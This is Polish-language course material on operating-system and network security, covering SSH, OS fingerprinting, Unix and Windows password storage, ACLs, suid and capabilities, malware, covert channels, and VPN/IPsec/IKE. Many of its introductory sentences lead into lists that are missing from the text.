DoS guard jest nazwą osobnego narzędzia lub modułu większej aplikacji zabezpieczającej, realizującego ochronę przed atakami DoS. Funkcje DoS guard posiada większość zapór sieciowych (również osobistych), a także wiele systemów operacyjnych routerów, np. TCPintercept w CiscoIOS lub Finesse (PiX). Niektóre z dostępnych narzędzi są nawet dość zaawansowane, np. SYN defender w Checkpoint Firewall-1 lub SYN cookies w PiX-ach.
Jednym z najbardziej reprezentatywnych przykładów narzędzia kryptograficznej ochrony komunkacji sieciowej jest protokół SSH – Secure Shell. SSH to protokół szyfrowanej transmisji dedykowanej dla emulacji wirtualnego terminala lecz nie tylko. Protokół SSH obsługuje usługa TCP, której przydzielono port 22. W domyślnej konfiguracji zastępuje telnet, rlogin, rsh, rexec, rcp, ftp. Ponadto umożliwia tunelowanie ruchu (VPN – tryb port forwarding).
Protokół SSH to standard de facto. Istnieją jego dwie specyfikacje – SSH1 i SSH2). Dostępnych jest wiele implementacji, w tym darmowych dla większości systemów z rodziny Unix/Linux (Open SSH). Natomiast dla systemów MS Windows, MacOS dostępnych jest wielu klientów protokołu SSH.
Rysunek 20. SSH – wykorzystywane algorytmy krytpograficzne. Implementacje mogą domyślnie używać inne algorytmy niż wskazane w specyfikacji protokołu (np. OpenSSH).
SSH oferuje różnorodne metody uwierzytelniania, m.in. tradycyjne – hasłem konta systemu zdalnego, kryptograficzne – zapytanie odzew z kluczem publicznym i prywatnym RSA, czy wykorzystanie zewnętrznych systemów uwierzytelniania, jak Kerberos lub S/Key. Istnieją implementacje wykorzystujące tokeny elektroniczne.
Bieżący moduł przedstawia wybrane zagadnienia bezpieczeństwa dotyczące systemów operacyjnych. Przedstawione zostaną naruszenia bezpieczeństwa systemu operacyjnego, w tym w szczególności typowe formy ataku na system operacyjny oraz komponenty systemu szczególnie podatne na ataki. Omówione zostaną również problemy uwierzytelniania i kontroli dostępu, zagadnienia ochrony antywirusowej oraz zagrożenia związane z zamaskowanymi kanałami komunikacyjnymi.
Naruszenia bezpieczeństwa systemu operacyjnego przybierają różne formy. Typowo związane są z nimi następujące zagrożenia:
Różne formy ataku posiadają zwykle nieco odmienne realizacje (przebieg), jednak można wyróżnić pewien ogólny scenariusz ataku na system operacyjny. Obejmuje on zwykle następujące kroki:
Przyczyny naruszeń bezpieczeństwa tkwią najczęściej w trudności osiągnięcia pełnej kontroli nad poprawnością implementacji i konfiguracji tak złożonego i wielokomponentowego oprogramowania, jakim są współczesne systemy operacyjne. Zwykle trudności te powodują:
Jako konkretne przykłady najczęstszych obszarów błędów implementacyjnych możemy wymienić chociażby sieciowe komponenty systemu, np.:
Wrażliwe usługi systemowe i narzędziowe nie ograniczają się oczywiście do wymienionych wyżej przypadków i obejmują szerokim kręgiem m.in. usługi informacyjne (jak netstat, systat, nbtstat, finger, rusers, showmount, ident), usługi konfiguracyjne (bootparam, dhcp, zdalne zarządzanie), zdalne wywołanie procdur RPC (rpcinfo, rexec), rozproszone systemy plików (np. NFS), usługi zdalnego dostępu, mechanizm domen zaufania czy usługi komunikacyjne i pocztowe
W rożnych systemach operacyjnych, a nawet w różnych ich wersjach, można zaobserwować różną podatność komponentów na poszczególne rodzaje ataków. W wielu przypadkach istnieją gotowe i łatwo dostępne narzędzia ataków skierowane na wybrane wersje systemu lub jego konkretnych komponentów. Skuteczne przeprowadzenie ataku staje się rzeczą relatywnie prostą i nie wymagającą praktycznie żadnej wiedzy technicznej. Istotna dla tej skuteczności jest niewątpliwie możliwość zdalnej detekcji systemu operacyjnego, jego wersji i dostępnych w nim komponentów (szczególnie sług dostępnych zdalnie).
http://www.insecure.org/nmap/nmap-fingerprinting-article.html
Metody rozpoznawania systemu możemy podzielić na aktywne i pasywne. Metody aktywne realizowane są poprzez inicjowanie a następnie analizowanie połączeń (na ogół specjalnie spreparowanych) i są wobec tego skierowane wobec konkretnych stanowisk. Natomiast pasywne metody realizowane są poprzez podsłuch pakietów pochodzących z analizowanego systemu. Metody pasywne są naturalnie dużo mniej precyzyjne niż aktywne, lecz są trudno wykrywalne i mogą być skierowane przeciw celom jeszcze nie określonym ostatecznie (np. całej sieci).
Do zdalnego rozpoznawania systemu operacyjnego najczęściej wykorzystywane są usługi informacyjne dostępne w rozpoznawanym systemie oraz implementacje stosu TCP/IP.
Usługi informacyjne, jak np. ident oferują typowo charakterystyczne powitanie (banner), choć nie tylko informacyjne: dobrym przykładem może być serwer usługi pocztowej sendmail. Powitanie bardzo często zawiera informacje o typie i dokładnej wersji systemu operacyjnego, wersji usługi (co też istotnie przyczynia się do wyboru skutecznego narzędzia ataku). Szczęśliwie problem powitań jest już dobrze znany i coraz więcej usług stara się unikać publicznego podawania newralgicznych informacji o systemie. Z tych też powodów, często świadomie rezygnuje się z oferowania takich nadmiernie „gadatliwych” usług lub ogranicza się zdalny dostęp do nich. Osobnym sposobem ograniczania zagrożenia jest kamuflaż, polegający na spreparowaniu celowo nieprawdziwych informacji w powitaniu, co nie jest niestety gwarancją ochrony systemu przed wprawnym intruzem, jednak może utrudnić i wydłużyć realizację ataku (security trough obscurity).
W przypadku stosu TCP/IP najskuteczniejszą aktualnie metodą zdiagnozowania typu i wersji systemu okazuje się być analizowanie zachowania protokołu implementacji TCP w przypadku retransmisji – tzw. badanie RTO. Badanie RTO (Retransmission Time-Out) jest to pomiar czasów pomiędzy retransmisjami pakietów SYN+ACK w trakcie nawiązywania odpowiednio spreparowanego przez atakującego połączenia. Badanie obejmuje ilość retransmisji i odstępy między nimi, co, jak się okazuje, należy do „cech osobniczych” systemu operacyjnego. Przykładowo system MacOS X wysyła po 5 nieskutecznych retransmisjach segment RST, a systemy Windows i Linux milcząco zamykają wpółotwarte połączenie, różniąc się istotnie liczbą i interwałami retransmisji.
Również w przypadku tej metody detekcji systemu stosować można kamuflaż. Przykladem zaawansowanego narzędzia do kamuflażu jest łata stealth patch na jądro systemu Linux, która m.in.:
Podobną funkcjonalność ma pakiet IP Personality – zestaw łat na jądro Linuksa i iptables, niestety już nierozwijany.
Jednym z najistotniejszych mechanizmów ochrony systemu operacyjnego jest uwierzytelnianie użytkowników, niezbędne dla określania ich uprawnień oraz zdiagnozowania ewentualnej próby niepowołanego dostępu.
W większości systemów operacyjnych, również w systemach z rodziny Unix/Linux, podstawowym narzędziem uwierzytelniania jest weryfikacja hasła użytkownika. W tym punkcie przedstawimy najpierw klasyczny mechanizm przechowywania haseł w systemie Unix.
Działanie klasycznego mechanizmu tworzenia i rejestrowania w systemie Unix hasła przebiega następująco:
Wynikowa postać hasła jest zapamiętywania w pliku konfiguracyjnym (klasycznie był to /etc/passwd) i każdorazowo porównywana przez narzędzie login, rejestrujące sesję użytkownika w systemie, z przetransformowanym hasłem wprowadzanym przez logującego się użytkownika.
Jak wiemy, mechanizm haseł jest podatny na problem złamania hasła. W przypadku klasycznego mechanizmu uwierzytelniania metoda przeszukiwania wyczerpującego (brut-force attack) może być przykładowo wykonana następująco:
Przykład ten, aczkolwiek hipotetyczny, jednak obnaża wyraźnie tempo starzenia się haseł oraz uzmysławia dobitnie konieczność i doniosłość systematycznych zmian hasła dla wszystkich kont w systemie operacyjnym.
Wobec problemu złamania hasła, we współczesnych systemach z rodziny Unix/Linux stosuje się pewne usprawnienia. Obejmują one dodatkowo ochronę haseł przed ich pozyskaniem (w celu utrudnienia przeszukiwania wyczerpującego oraz wymuszanie odpowiednio wysokiego stopnia skomplikowania hasła (w celu utrudnienia ataku słownikowego). Ochrona haseł przed ich pozyskaniem sprowadza się do ukrycia ich postaci składowanej w systemie haseł poza dostępem zwykłego użytkownika – w przypadku systemu Unix/Linux jest to przeniesienie haseł do oddzielnej lokalizacji (pliku /etc/shadow). Realizuje to albo sam system operacyjny (konkretna dystrybucja), albo oddzielne pakiety, np. shadow-in-a-box, Linux Shadow Password Suite, itp. W praktyce okazuje się, iż czasami nadal możliwe ataki na pliki shadow (wykorzystują głównie luki w usługach, obrazy core dump), co umożliwia przechwycenie postaci składowanej haseł i ich późniejsze dekodowanie. Rozwiązaniem skuteczniejszym i bardziej uniwersalnym dla ochrony haseł mogą być zatem centralne bazy katalogowe, np. NIS, NIS+, czy bazy dostępne poprzez protokół LDAP.
W celu kontroli poziomu trudności haseł stosuje się różnorodne testery jakości haseł uaktywniane w momencie ustawiania nowego hasła przez użytkownika. Często spotykane są np. passwd+ (zastępuje passwd) lub anlpasswd, czy npasswd.
W bieżących wersjach systemów tej rodziny odchodzi się od wykorzystania algorytmu DES na korzyść silniejszych mechanizmów kryptograficznych i pozwalających wybierać hasła bez górnego limitu znaków (lub z wysokim limitem), np. z wykorzystaniem algorytmów MD5 czy Blowfish.
W systemie MS Windows NT 4.0 użytkownik otrzymuje losowo wygenerowany SID (Security ID). Procedura logowania wymaga wywołania przerwania sprzętowego (poprzez kombinację Ctrl-Alt-Del), co ułatwia kontrolę nad poprawnym wywołaniem właściwego programu logującego. Ze względu na złożoną ewolucję systemu Windows, hasła w systemie są przechowywane w różnych postaciach. Niezakodowane hasła, przetwarzane przez system, przechowywane są w zastrzeżonym obszarze LSA (Local Security Authority) rejestru: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets, dostępnym tylko dla usługi Security Accounts Manager. Od wersji NT 4.0 hasła mogą być również zakodowane (w postaci tzw. hash) funkcją MD5 z ziarnem i z 40b kluczem RSA i przechowywane w rejestrze: HKLM\SAM oraz w zastrzeżonym obszarze systemu plików NTFS: %SYSTEMROOT%\SYSTEM32\CONFIG\SAM. Jednak dla zachowania zgodności wstecz (z linią 9x) obok postaci hash MD5 umieszczane są kopie haseł – LM hash – zakodowane autorskim algorytmem LanMan (z protokołu NT Lan Manager), bez ziarna. Postać ta jest dużo mniej bezpieczna i jej dostępność drastycznie podnosi skuteczność złamania hasła. Na szczęście w systemie Windows przechowywanie postaci LM hash można wyłączyć. Rysunek 1 przedstawia obraz ekranu narzędzia Zasad lokalnych zabezpieczeń, które umożliwia uaktywnienie wyłączenia LM hash – tak, widoczną na ekranie opcję trzeba włączyć, aby postać LM hash nie była tworzona i to dopiero od chwili następnej zmiany hasła (do kiedy to dotychczasowe LM hashe pozostają w systemie).
Rysunek 1. Uaktywnienie opcji wyłączenia przechowywania postaci LM hash haseł
W poprawkach serwisowych SP2 i SP3 do systemu wprowadzono następujące usprawnienia:
Niestety ciągle istnieje w module zarządzania hasłami wiele luk i dostępnych jest wiele gotowych narzędzi exploit (wykorzystują uprawnienia administracyjne do importu plików SAM, luki w systemie tworzenia kopii zapasowych systemu RDISK, itp.)
W systemie MS Windows 2000 i jego następcach algorytm uwierzytelniania NTLM został zastąpiony przez Kerberos TGP. Ponadto opcja syskey jest domyślnie włączona, a przechowywanie postaci LM hash jest domyślnie wyłączone. Należy jednak mieć na uwadze, iż w środowiskach heterogenicznych istniejące starsze wersje Windows nie obsługują Kerberosa, stąd mogą nadal wymagać obsługi LM hash, co osłabia bezpieczeństwo całego srodowiska.
W systemie Novell NetWare stosuje się od wczesnych jego wersji dość wyrafinowaną I powszechnie uważaną za bezpieczną procedurę uwierzytelniania. Wykorzystuje ona mechanizmy kryptograficzne i przebiega w uproszczeniu następująco:
Jak wiemy z poprzednich modułów, pewnym ograniczeniem ryzyka pozyskania hasła przez intruza, jest zastosowanie mechanizmu SSO (Single Sign-On). Systemy Unix/Linux i Windows (w konfiguracji domenowej, od wersji NT Advanced Server) pozwalają wykorzystać mechanizm SSO w postaci tzw. relacji zaufania. Dzięki jej istnieniu uwierzytelniony użytkownik systemu (domeny) zaufanego może mieć dostęp do zasobów systemu ufającego bez konieczności ponownego uwierzytelniania. A wobec tego, hasło nie zostaje ponownie przesyłane ani przetwarzane przy zdalnym dostępie do kolejnego systemu operacyjnego. Relacje zaufania mogą mieć charakter jednostronny lub dwustronny i, co ważne, nie są przechodnie.
Standard POSIX 1003.1 jest powszechnie wspierany przez współczesne systemy operacyjne. Wymaga on obsługi następujących elementów procesu autoryzacji i kontroli dostępu do zasobów:
Niektóre aplikacje oferują własne rozszerzenia tego modelu uprawnień,
np. ProFTPD (http://proftpd.linux.co.uk/). Również w samych systemach operacyjnych spotyka się rozszerzone implementacje modelu POSIX. Rozszerzenia te obejmują na ogół:
Ponieważ wcześniejsza wersja tego standardu dobrze odpowiadała w praktyce tylko klasycznym systemom Unix i w wielu nowszych systemach implementowano różnorodne rozszerzenia standardu, zaproponowano nowe wersje standardu. obejmujące m.in.:
W implementacji nowego standardu prym wiedzie projekt TrustedBSD (http://www.trustedbsd.org/) – dla systemu FreeBSD. Dostępne są również implementacje dużej części standardu w systemie Linux z jądrem w wersjach od 2.5.46 (do jądra 2.4 jest łata obsługująca ACL standardowo dystrybuowana np. w SuSE Linux). Standard POSIX 1003.1e/1003.2c wspierają różne systemy plików Ext2, Ext3, IBM JFS, ReiserFS oraz SGI XFS. Dostępne jest też wsparcie NFS – w wersji NFSv3 możliwe jest przekazywanie list ACL (chociaż brak specyfikacji metody przekazywania skutkuje różnymi implementacjami), a wersja NFSv4 posiada mechanizm NFS ACL, lecz niestety niezgodny z POSIX. Istotne jest zachowanie wymagań standardu również w przypadku takich operacji na zasobach jak archiwizacja i tworzenie kopii zapasowych – tu popularne jest chociażby narzędzie pax (portable archive interchange), które zachowuje wszystkie wymagane standardem parametry.
Listy ACL są w praktyce dostępne we wszystkich popularnych współcześnie systemach.
System Linux obsługuje dwa rodzaje uprawnień ACL:
Rysunek 2 przedstawia kombinację uprawnień do zasobu KATALOG1 dla użytkownika joe należącego do grupy students. Prawa efektywne są wyznaczane za pomącą algorytmu opisanego niżej. Uprawnienia defaults określają maskę dziedziczenia uprawnień w głąb – ustawianą tylko dla katalogów i dotyczącą tylko nowotworzonych obiektów.
Rysunek 2. Schemat wyznaczania uprawnień mechanizmu ACL w systemie Linux
Rysunek 3 przedstawia przykład wykorzystania narzędzi systemu Linux operujących na uprawnieniach extended ACL. Są to polecenia getfacl i setfacl.
Rysunek 3. Przykładowe wywołanie poleceń getfacl i setfacl w systemie Linux
System operacyjny weryfikuje po kolei kategorie uprawnionych podmiotów (właściciel zasobu, grupa, wyróżnieni użytkownicy), aby określić, do której kategorii należy podmiot żądający zasobu i jakie prawa z listy ACL należy zaaplikować. Kolejność weryfikacji kategorii uprawnień w celu określenia praw z listy ACL jest następująca:
W systemach z rodziny Unix, listy ACL mogą być przechowywane na różne sposoby. Zwykle definicje ACL przechowuje:
Maksymalna ilość pozycji możliwych do przechowania na liście ACL zależy oczywiście od miejsca przechowywania. Ilość tę dla wybranych systemów plików przedstawia rysunek 4.
Rysunek 4. Przykładowe wywołanie poleceń getfacl i setfacl w systemie Linux
W systemie Windows wprowadzono mechanizm ACL (odbiegający od POSIX) w systemie plików NTFS. Lista możliwych praw i kategorii uprawnionych podmiotów jest imponująco duża. Wśród ciekawych praw można znaleźć takie atrybuty jak np. append, delete, change permissions, take ownership, change ownership, i in. (istnieją podobne atrybuty dla niektórych systemów plików z rodziny Unix, np. w systemie Linux narzędzie chattr oferuje takie atrybuty dla systemu plików Ext2/Ext3). Dzięki oddzielnie stosowanym przypisaniom GRANT i unieważnieniom DENY praw możliwa jest do osiągnięcia duża elastyczność konfiguracji uprawnień. W definicji uprawnień na liście można wykorzystywać statyczne oraz dynamiczne grupy użytkowników (np. All Authenticated Users). Ponadto Windows oferuje dla ACL wsparcie protokołu CIFS (Common Internet File System) umożliwiając tym samym tworzenie rozproszonych systemów plików uwzględniających definicje ACL. Z kolei niezależny pakiet Samba dostępny dla systemu Linux, będący implementacją wcześniejszego protokołu współdzielenia zasobów w Windows – SMB, oferuje listy ACL zgodne z POSIX.
W systemach z rodziny Unix wykorzystuwana jest często flaga suid = Set User Id oznaczająca specjalne uprawnienie do przejmowania przez proces (uruchomiony z programu z takim atrybutem) praw dostępu zdefiniowanych dla właściciela tego programu. Mechanizm ten jest w niektórych sytuacjach niezbędny do poprawnej pracy systemu, korzystają z niego takie programy narzędziowe jak np. passwd.
Niestety, mechanizm ten może stanowić potencjalne zagrożenie dla bezpieczeństwa systemu operacyjnego, zwłaszcza jeśli właścicielem programu z flagą suid jest administrator. Często spotykany atak polega na wyszukiwaniu programów z atrybutem suid należących do superużytkownika root, w celu wykorzystania błędów lub nieodpowiedniej konfiguracji systemu i uzyskania uprawnień administracyjnych. Zatem programy z ustawionym bitem suid powinny być szczególnie chronione.
Podobny mechanizm, o podobnym zagrożeniu, wprowadzono również dla grupy – flaga sgid = Set Group Id.
Procesy uruchomione z podwyższonymi uprawnieniami (głównie administracyjnymi) stanowią łakomy kąsek dla intruza. Jest to szczególnie istotne w systemie Unix, gdzie przewidziano jedno konto administracyjne – superużytkownika root, które umożliwia wykonanie praktycznie wszelkich działań w systemie.
Jednak w większości przypadków, nawet ważne dla systemu procesy wymagają wysokich uprawnień tylko przez krótki okres czasu (zwykle początkowy). Koncepcja redukcji przywilejów sprowadza się do ograniczania zagrożenia przejęcia uprawnień procesu mogącego stać się potencjalnym celem ataku. Ograniczenie zagrożenia osiągane jest poprzez świadomą rezygnację z wyższych uprawnień (administracyjnych) natychmiast gdy newralgiczne operacje zostaną przez proces zakończone. W czasie dalszej pracy proces działa z niskimi (możliwie najniższymi) uprawnieniami.
Innym sposobem ograniczenia zagrożenia, jest wyodrębnienie wielu szczegółowych uprawnień administracyjnych i przydzielanie do procesu tylko niezbędnych, zamiast wszechwładnego prawa superużytkownika. Standard POSIX przewiduje taki mechanizm nazywany capabilities (CAP), dostępny w systemie Linux od jądra 2.2 (ftp://linux.kernel.org/pub/linux/libs/security/linux-privs). CAP pozwala na rozdzielenie uprawnień administracyjnych superużytkownika root na zbiór szczegółowych uprawnień i powiązanie ich z systemem plików poprzez dodatkowe bity praw dostępu.
Popularną implementacją mechanizmu CAP w systemie Linux jest narzędzie LCAP (http://pweb.netcom.com/~spoon/lcap/). Oferuje on m.in. następujące uprawnienia szczegółowe:
Kolejnym sposobem ograniczania zagrożeń związanych z nadużyciem praw dostępu jest separacja przywilejów posiadanych przez uruchomiony proces. Koncepcja separacji przywilejów polega na wyodrębnieniu zadań wymagających wysokich uprawnień w postaci odrębnego procesu. Błędy w programie procesu głównego, działającego z uprawnieniami zwykłego użytkownika, nie umożliwiają już tak łatwego uzyskania wysokich uprawnień. Istotne jest, iż ta koncepcja nadaje również się do systemów z klasycznym przydziałem uprawnień administracyjnych (bez CAP). Przykład sztandarowy wykorzystania separacji przywilejów to m.in. OpenSSH.
Pod pojęciem malware należy rozumieć wszelkie niepożądane (złośliwe) w systemie oprogramowanie, którego pojawienie się w systemie było niezamierzone i działanie jego przynosi systemowi wymierne straty. Infekcje systemu operacyjnego mogą być spowodowane różnymi typami oprogramowania malware, do którego należą:
Poniżej zajmiemy się przedstawieniem pierwszej klasy oprogramowania malware – wirusami.
Wirus (łac. virus – trucizna) to – najprościej definiując – kod samopowielający się w systemie operacyjnym. Istnieje wiele bardzo odmiennych rodzajów wirusów w tym w szczególności tak specyficzne jak:
Efekty działania wirusów to najczęściej:
Obserwacja ewolucji oprogramowania wirusowego w ostatnich latach skłania do wyróżnienia pewnych trendów. Można przykładowo wybrać następujące obserwacje:
W oprogramowaniu wirusowym pojawiają się zaawansowane mechanizmy, takie jak kamuflaż i techniki anty-antywirusowe:
Wzmaga się aktywność retrowirusów stosujących obronę agresywną przed detekcją, poprzez ataki skierowane przeciw oprogramowaniu antywirusowemu. Najbardziej zaawansowane wirusy sieciowe posiadają strukturę modułową, w której występują moduły zdalnie aktualizowane (przez Internet).
Oprogramowanie malware może stosować też przeróżne sztuczki w celu ukrycia się w systemie plików i uniemożliwienia skutecznego wyszukania przez oprogramowanie antywirusowe. W tym kontekście ciekawe możliwości oferuje, dotąd mało znany i wykorzystywany mechanizm ADS (Alternate Data Stream) w systemie NTFS. Teoretycznie miał on zapewniać wsparcie międzyplatformowe (np. z systemem Macintosh). Jednak istotne z naszego punktu widzenia jest to, iż system Windows w bieżących wersjach pozwala tworzyć pliki (programy) w ADS, choć sam nie zwraca na nie uwagi (nawet ich nie pokazuje), co z kolei pozwala skutecznie ukrywać malware przed użytkownikiem, a nawet przed większością skanerów antywirusowych.
Nakłady poniesione na usunięcie infekcji i zwalczanie skutków są całkiem pokaźne. Przykładowo wg Computer Economics (2001r.) w roku 1999 osiągnęły w sumie 12,1 mld USD, a w roku 2000 – w sumie 17,1 mld USD. Jedne z najkosztowniejszych pod tym względem wirusów w historii to z pewnością:
Ochrona przed wirusami jest realizowana przez różnorodne oprogramowanie nazywane ogólnie antywirusowym, a obejmujące jedną lub kilka z wymienionych poniżej kategorii.
przed ich uruchomieniem
na podstawie efektów
Poniżej wymienione są przykładowe narzędzia ochrony przed malware.
Zamaskowane kanały komunikacji (covered channels) są pojęciem ściśle powiązanym z malware, choć nie ograniczają się wyłącznie do tego przypadku. Poprzez zamaskowany kanał komunikacji (covered channel) rozumie się wykorzystanie w celu przekazania informacji takiego mechanizmu systemu operacyjnego, które został opracowany w celu nie związanym z komunikacją i na ogół nie jest z nią w ogóle kojarzony. Kanał ten może być wykorzystywany do nieujawnionego przekazywania wiadomości, tak aby ukryć nie tylko treść tej wiadomości, ale i sam fakt dokonywania transmisji. Przykładami zamaskowanych kanałów komunikacji są:
Tunel wirtualny (Virtual Private Network, VPN) jest to kanał komunikacyjny chroniony przez niepowołanym dostępem (odczytem i modyfikacją) poprzez zastosowanie kryptografii. Tunel wirtualny VPN umożliwia chronioną transmisję w obszarze publicznej sieci rozległej, np. w celu realizacji bezpiecznego połączenia pomiędzy różnymi jednostkami, najczęściej geograficznie odległymi (rysunek 1). W sieci publicznej należy się liczyć z potencjalnymi naruszeniami poufności, integralności i autentyczności transmitowanych danych. Poznane we wcześniejszych modułach mechanizmy kryptograficzne umożliwiają skuteczną ochronę wszystkich tych własności informacji.
Rysunek 1. Schemat sieci publicznej analizowany jako scenariusz zagrożeń
Konfiguracja host-to-host
W konfiguracji tej końcami tunelu są pojedyncze stanowiska, wyposażone w odpowiednie oprogramowanie lub sprzęt (karty sieciowe) umożliwiające szyfrowanie i deszyfrowanie transmisji pomiędzy nimi.
Rysunek 2. Konfiguracja host-to-host
Konfiguracja net-to-net
W konfiguracji tej końcami tunelu są pojedyncze węzły międzysieciowe (np. dedykowane urządzenia szyfrujące, routery brzegowe z modułami kryptograficznymi). Mogą one szyfrować całą transmisję wychodzącą ze swoich sieci lokalnych lub wybrany ruch sieciowy. Transmisja odbywająca się wewnątrz poszczególnych sieci nie jest szyfrowana.
Rysunek 3. Konfiguracja net-to-net
Konfiguracja host-to-net
W konfiguracji tej jednym z końców tunelu jest pojedyncze stanowisko, które uzyskuje dostęp do zasobów pewnej sieci lokalnej (np. korporacyjnej). Cała komunikacja lub wybrany ruch (wybrane usługi) poddawane są szyfrowaniu. Jest to model typowy dla środowisk pracy zdalnej.
Rysunek 4. Konfiguracja host-to-net
Jak wiemy w protokole IPv4 brak praktycznie jakichkolwiek mechanizmów bezpieczeństwa. W związku z rosnącymi wymagani bezpieczeństwa, w 1995 r. przedstawiono (IETF) pierwszą wersję specyfikacji protokołu sieciowego IPsec (RFC 1825), zawierającego dwie składowe
Zadaniem protokołu IPsec operującego w warstwie sieciowej jest transparentne dla aplikacji wykorzystanie narzędzi kryptograficznych w celu osiągnięcia
Jednak wkrótce rozszerzono funkcje ESP o ochronę również integralności. W efekcie funkcje ochrony integralności zostały powielone w obu składowych protokołu IPsec. Dlaczego zatem utrzymano oddzielne składniki AH i ESP? Z jednej strony przemawiają za tym trudności merytoryczne, zrozumiałe w tak złożonym projekcie jak ESP. Ponadto przemawiały pierwotnie za tym ograniczenia natury polityczno-prawnej, związane ze stosowaniem kryptografii – AH wykorzystując wyłącznie kryptograficzne funkcje skrótu, z reguły był traktowany bardziej liberalnie. Ostatecznie jednak należy przyznać, iż funkcjonalność AH wystarcza w wielu zastosowaniach, np. w przypadku ochrony usługi DNS, gdzie informacje udostępniane przez tę usługę są z reguły publiczne i nie ma potrzeby ich szyfrowania, ważne jest natomiast by nie zostały one po drodze sfałszowane.
Ostateczna wersja IPsec (RFC 2401, 1998 r.) obejmuje zatem specyfikacje dwu protokołów:
http://www.ipsec.pl/
Uwierzytelnianie stron jest realizowane do pewnego stopnia przez sam protokół IPsec i może być rozszerzane przez dodatkowe mechanizmy.
Tryb transportowy (transport mode), inaczej nazywany bezpośrednim, charakteryzuje się tym, że do datagramu dodany jest nagłówek AH / ESP i dane datagramu (ramka TCP, UDP, ICMP, ...) zostają zabezpieczone (podpisane / zaszyfrowane) bezpośrednio za nim.
Rysunek 5. Postać chronionego datagramu w trybie transportowym
W trybie tunelowym (tunnel mode) natomiast oryginalny datagram IP zostanie zabezpieczony (podpisany / zaszyfrowany) w całości z nagłówkiem w ramkę protokołu AH / ESP, a następnie umieszczony w niezabezpieczonym datagramie IP jako jego dane.
Rysunek 6. Postać chronionego datagramu w trybie tunelowym
Protokół AH przenosi wartość jednokierunkowej funkcji skrótu treści datagramu oraz stałych pól nagłówka (zarówno w trybie transportowym jak i tunelowym). W tym celu wykorzystywane są funkcje HMAC: MD5, SHA-1, RIPEMD-160 lub inne (negocjowane). Ewentualna fragmentacja datagramu jest dokonywana wcześniej (podpisywany jest każdy fragment oddzielnie). Niezaprzeczalność osiągana jest poprzez silne algorytmy kryptograficzne, np. RSA.
Rysunek 7. Schemat budowy datagramu protokołu AH
Protokół ESP Umożliwia podpisywanie datagramu (stosuje te same algorytmy co w AH – uwzględnia w podpisie statyczne pola nagłówka podstawowego IP) oraz zaszyfrowanie datagramu – wykorzystuje szyfry blokowe w trybie CBC, np. DES, 3DES (z 3-ma kluczami), Blowfish, CAST-128 czy Rijndael/AES, aktualnie również 3-IDEA (z 3-ma kluczami).
Nagłówek ESP jest umieszczany bezpośrednio przed zaszyfrowanymi danymi. Format i długość zaszyfrowanych danych zależy od wybranej metody kryptograficznej.
Rysunek 8. Schemat budowy datagramu protokołu ESP
Możliwe jest połączenie mechanizmów AH i ESP. Przykładowo, najpierw szyfrowane są dane za pomocą ESP, a następnie cały datagram jest zabezpieczony przez AH. Alternatywnie, najpierw wyznacza się nagłówek AH i umieszcza się go datagramie, a następnie szyfruje w całości przez ESP (tuneluje).
Asocjacja bezpieczeństwa SA jest to zbiór parametrów charakteryzujących bezpieczną komunikację między nadawcą a odbiorcą (kontekst), utrzymywany przez nadawcę i unikalnie identyfikowany przez SPI (Security Parameters Index). Blok parametrów asocjacji obejmuje następujące dane:
Asocjacja bezpieczeństwa (a dokładniej blok parametrów asocjacji) nie jest przesyłana siecią – przesyłany jest tylko numer SPI. Asocjacja bezpieczeństwa jest jednokierunkowa – w łączności obukierunkowej wymagane są dwie asocjacje – daje to dużą elastyczność ruch w każdym kierunku może być szyfrowany innym kluczem i może mieć inny okres ważności. Kanały SA mogą się wzajemnie w sobie zawierać i nie muszą się zaczynać w tych samych miejscach (na tych samych stacjach).
Poniżej przedstawiony zostanie schemat działania stacji protokołu IPsec. Działania wykonywane przy wysyłaniu pakietu są następujące:
Natomiast działania wykonywane przy odbieraniu pakietu są następujące:
Zarządzanie i dystrybucja kluczy nie są uwzględnione w specyfikacji samego standardu IPsec. Możliwe jest jednak wykorzystanie kluczy dwojakiego typu:
Możliwe są też bardzo różnorodne sposoby dystrybucji:
Protokoły zarządzania kluczami mają na celu wzajemne uwierzytelnianie podmiotów nawiązujących asocjacje IPsec oraz uzgadnianie kluczy sesji na potrzeby poszczególnych kanałów SA. Obie te funkcje realizowane są na podstawie skonfigurowanych na stałe danych uwierzytelniających. Może to być np. hasło wspólne dla pary stacji (shared secret), certyfikaty X.509, klucze PGP. Niektóre implementacje (SKIP, Photuris) umożliwiają wyłącznie uwierzytelnienie na podstawie haseł, a popularny protokół IKE obsługuje natomiast wszystkie wyżej wymienione metody i umożliwia jeszcze prywatne rozszerzenia.
Protokół IKE obejmuje 2 składniki:
ISAKMP (RFC 2408) stanowi trzon całości i z tego powodu nazwy tej używa się niekiedy zamiennie z IKE. Protokół ISAKMP korzysta z UDP (port 500).
Wymiana kluczy następuje dwuetapowo: najpierw ustalana jest tożsamość komunikujących się węzłów i tworzony jest bezpieczny kanał (tzw. ISAKMP SA), utrzymywany przez cały czas trwania sesji i służący następnie do właściwej negocjacji parametrów asocjacji. Negocjacja obejmuje m.in. listę obsługiwanych algorytmów szyfrujących, co ułatwia obsługę środowisk heterogenicznych.
Uwierzytelnianie może być realizowane na ogół na dwa sposoby. W najprostszym przypadku każda para węzłów musi mieć ustalone wspólne hasło, które służy do obliczania kluczy metodą Diffiego-Hellmana. Oznacza to konieczność konfigurowania haseł na wszystkich węzłach, co jest istotnym ograniczeniem tej metody i może okazać się zbyt pracochłonne w przypadku dużych sieci. Alternatywną metodą jest zastosowanie kluczy publicznych podpisanych przez nadrzędny urząd certyfikujący CA (np. certyfikatów X.509), które jest wolne od ograniczeń ręcznej definicji haseł.
protokół ISAKMP jest łatwo rozszerzalny. Pewne parametry (Domain of Interpretation, DOI) można przystosować całkowicie do potrzeb własnej instytucji:
Protokół IKE pozwala wykorzystać możliwości PKI. Po nawiązaniu komunikacji, ale przed uzgodnieniem ISAKMP SA węzeł może zweryfikować autentyczność certyfikatu drugiej strony dzięki podpisowi CA. W skrajnym przypadku węzeł nie musi wiedzieć nic o innych węzłach z którymi będzie się łączył, lub które będą się łączyć z nim. Wymaga to jedynie lokalnego dostępu (zainstalowania w tym węźle) klucza publicznego urzędu CA – będzie to jeden i ten sam klucz na wszystkich węzłach. Znacznie ułatwia to realizację złożonych topologii.
